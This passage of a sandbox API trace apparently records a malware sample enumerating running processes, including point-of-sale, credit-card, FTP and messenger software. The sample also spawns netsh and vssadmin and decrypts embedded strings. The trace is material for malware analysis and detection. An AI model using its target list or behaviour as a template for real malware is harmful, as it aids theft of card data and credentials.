dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0066.879] GetLastError () returned 0x12 [0066.880] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0066.881] GetLastError () returned 0x12 [0066.881] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0066.882] GetLastError () returned 0x12 [0066.882] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0066.883] GetLastError () returned 0x12 [0066.883] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0066.884] GetLastError () returned 0x12 [0066.884] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0066.885] GetLastError () returned 0x12 [0066.885] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0066.886] GetLastError () returned 0x12 [0066.886] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0066.887] GetLastError () returned 0x12 [0066.887] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0066.888] GetLastError () returned 0x12 [0066.888] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0066.889] GetLastError () returned 0x12 [0066.889] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0066.890] GetLastError () returned 0x12 [0066.890] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0066.891] GetLastError () returned 0x12 [0066.891] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0066.892] GetLastError () returned 0x12 [0066.892] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0066.893] GetLastError () returned 0x12 [0066.893] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0066.894] GetLastError () returned 0x12 [0066.894] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0066.895] GetLastError () returned 0x12 [0066.895] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0066.896] GetLastError () returned 0x12 [0066.896] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0066.897] GetLastError () returned 0x12 [0066.897] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0066.898] GetLastError () returned 0x12 [0066.898] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0066.899] GetLastError () returned 0x12 [0066.899] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0066.900] GetLastError () returned 0x12 [0066.900] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0066.901] GetLastError () returned 0x12 [0066.901] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0066.902] GetLastError () returned 0x12 [0066.902] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0066.903] GetLastError () returned 0x12 [0066.903] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0066.904] GetLastError () returned 0x12 [0066.904] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0066.905] GetLastError () returned 0x12 [0066.905] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0066.905] GetLastError () returned 0x12 [0066.905] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0067.281] GetLastError () returned 0x12 [0067.282] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0067.282] GetLastError () returned 0x12 [0067.282] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0067.283] GetLastError () returned 0x12 [0067.283] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0067.284] GetLastError () returned 0x12 [0067.284] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0067.285] GetLastError () returned 0x12 [0067.286] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0067.286] GetLastError () returned 0x12 [0067.286] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.287] GetLastError () returned 0x12 [0067.287] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.288] GetLastError () returned 0x12 [0067.288] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0067.289] GetLastError () returned 0x12 [0067.289] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0067.290] GetLastError () returned 0x12 [0067.290] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0067.291] GetLastError () returned 0x12 [0067.291] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0067.292] GetLastError () returned 0x12 [0067.292] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.292] GetLastError () returned 0x12 [0067.292] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.293] GetLastError () returned 0x12 [0067.293] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0067.294] GetLastError () returned 0x12 [0067.294] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0067.295] GetLastError () returned 0x12 [0067.295] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0067.296] GetLastError () returned 0x12 [0067.296] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.297] GetLastError () returned 0x12 [0067.297] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0067.297] GetLastError () returned 0x12 [0067.298] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0067.298] CloseHandle (hObject=0x184) returned 1 [0067.298] Sleep (dwMilliseconds=0x1f4) Thread: id = 42 os_tid = 0xfc8 [0049.809] GetLogicalDrives () returned 0x4 [0049.809] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7f98 [0049.809] CryptImportKey (in: hProv=0x4c5018, pbData=0x222fa50*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222fab8 | out: phKey=0x222fab8*=0x4cbfe8) returned 1 [0049.809] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222faa0, dwFlags=0x0) returned 1 [0049.809] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7f98, pdwDataLen=0x222fa6c | out: pbData=0xab7f98, pdwDataLen=0x222fa6c) returned 1 [0049.809] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab6100 [0049.809] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x124 [0049.809] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x128 [0049.809] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0049.809] CryptImportKey (in: hProv=0x4c5018, pbData=0x222fa1c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222fa84 | out: phKey=0x222fa84*=0x4cbfe8) returned 1 [0049.809] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222fa6c, dwFlags=0x0) returned 1 [0049.809] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x222fa38 | out: pbData=0xab14a0, pdwDataLen=0x222fa38) returned 1 [0049.809] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0049.809] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab5ee8 [0049.809] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5f10 [0049.809] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f9f4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222fa5c | out: phKey=0x222fa5c*=0x4cbfe8) returned 1 [0049.809] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222fa44, dwFlags=0x0) returned 1 [0049.809] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5f10, pdwDataLen=0x222fa10 | out: pbData=0xab5f10, pdwDataLen=0x222fa10) returned 1 [0049.809] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.810] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5f10 | out: hHeap=0xab0000) returned 1 [0049.810] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.810] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab5ee8 | out: hHeap=0xab0000) returned 1 [0049.810] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0049.810] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x222fac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x222fac4*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.810] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0049.810] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab1778 [0049.811] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f960*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9c8 | out: phKey=0x222f9c8*=0x4cbfe8) returned 1 [0049.811] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f9b0, dwFlags=0x0) returned 1 [0049.811] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1778, pdwDataLen=0x222f97c | out: pbData=0xab1778, pdwDataLen=0x222f97c) returned 1 [0049.811] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab14a0 [0049.811] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9c0 | out: phKey=0x222f9c0*=0x4cbfe8) returned 1 [0049.811] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f9a8, dwFlags=0x0) returned 1 [0049.811] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0x222f974 | out: pbData=0xab14a0, pdwDataLen=0x222f974) returned 1 [0049.811] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab14b8 [0049.811] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f950*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9b8 | out: phKey=0x222f9b8*=0x4cbfe8) returned 1 [0049.811] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f9a0, dwFlags=0x0) returned 1 [0049.811] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14b8, pdwDataLen=0x222f96c | out: pbData=0xab14b8, pdwDataLen=0x222f96c) returned 1 [0049.811] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab5ee8 [0049.811] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f948*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9b0 | out: phKey=0x222f9b0*=0x4cbfe8) returned 1 [0049.811] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f998, dwFlags=0x0) returned 1 [0049.811] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab5ee8, pdwDataLen=0x222f964 | out: pbData=0xab5ee8, pdwDataLen=0x222f964) returned 1 [0049.811] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab14d0 [0049.811] CryptImportKey (in: hProv=0x4c5018, pbData=0x222f940*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x222f9a8 | out: phKey=0x222f9a8*=0x4cbfe8) returned 1 [0049.811] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0x222f990, dwFlags=0x0) returned 1 [0049.811] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14d0, pdwDataLen=0x222f95c | out: pbData=0xab14d0, pdwDataLen=0x222f95c) returned 1 [0049.811] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0049.811] htonl (hostlong=0x8443a5af) returned 0xafa54384 [0049.811] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x20, pbBuffer=0x222fa70 | out: pbBuffer=0x222fa70) returned 1 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x28) returned 0xab5f80 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab14e8 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab6130 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x14) returned 0xab5fb0 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab5fd0 [0049.811] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x80) returned 0xab6fe8 [0049.812] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab7070 [0049.812] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x82) returned 0xab7088 [0049.812] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab7118 [0049.812] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab7130 [0049.812] CryptAcquireContextW (in: phProv=0xb8fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xb8fcf4*=0x4c8598) returned 1 [0049.813] CryptGenRandom (in: hProv=0x4c8598, dwLen=0x55, pbBuffer=0x222f9f2 | out: pbBuffer=0x222f9f2) returned 1 [0049.813] GetLastError () returned 0x0 [0049.813] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x214) returned 0xab5bc8 [0049.813] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0049.813] GetCurrentThreadId () returned 0xfc8 [0049.813] SetLastError (dwErrCode=0x0) [0049.813] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab7140 [0049.813] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x80) returned 0xab7158 [0049.813] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab71e0 [0049.813] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x2) returned 0xab5de8 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab5df8 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0xab5e08 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x80) returned 0xab5e20 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56ba8 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x4) returned 0xab5ea8 [0049.814] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab5de8, Size=0x82) returned 0xabbd08 [0049.814] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xab5ea8, Size=0x100) returned 0xabbd98 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56bc0 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x82) returned 0xabbea0 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10) returned 0x2a56bd8 [0049.814] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x82) returned 0xabbf30 [0049.814] RtlReAllocateHeap (Heap=0xab0000, Flags=0x0, Ptr=0xabbd08, Size=0x104) returned 0x2a57390 [0049.814] 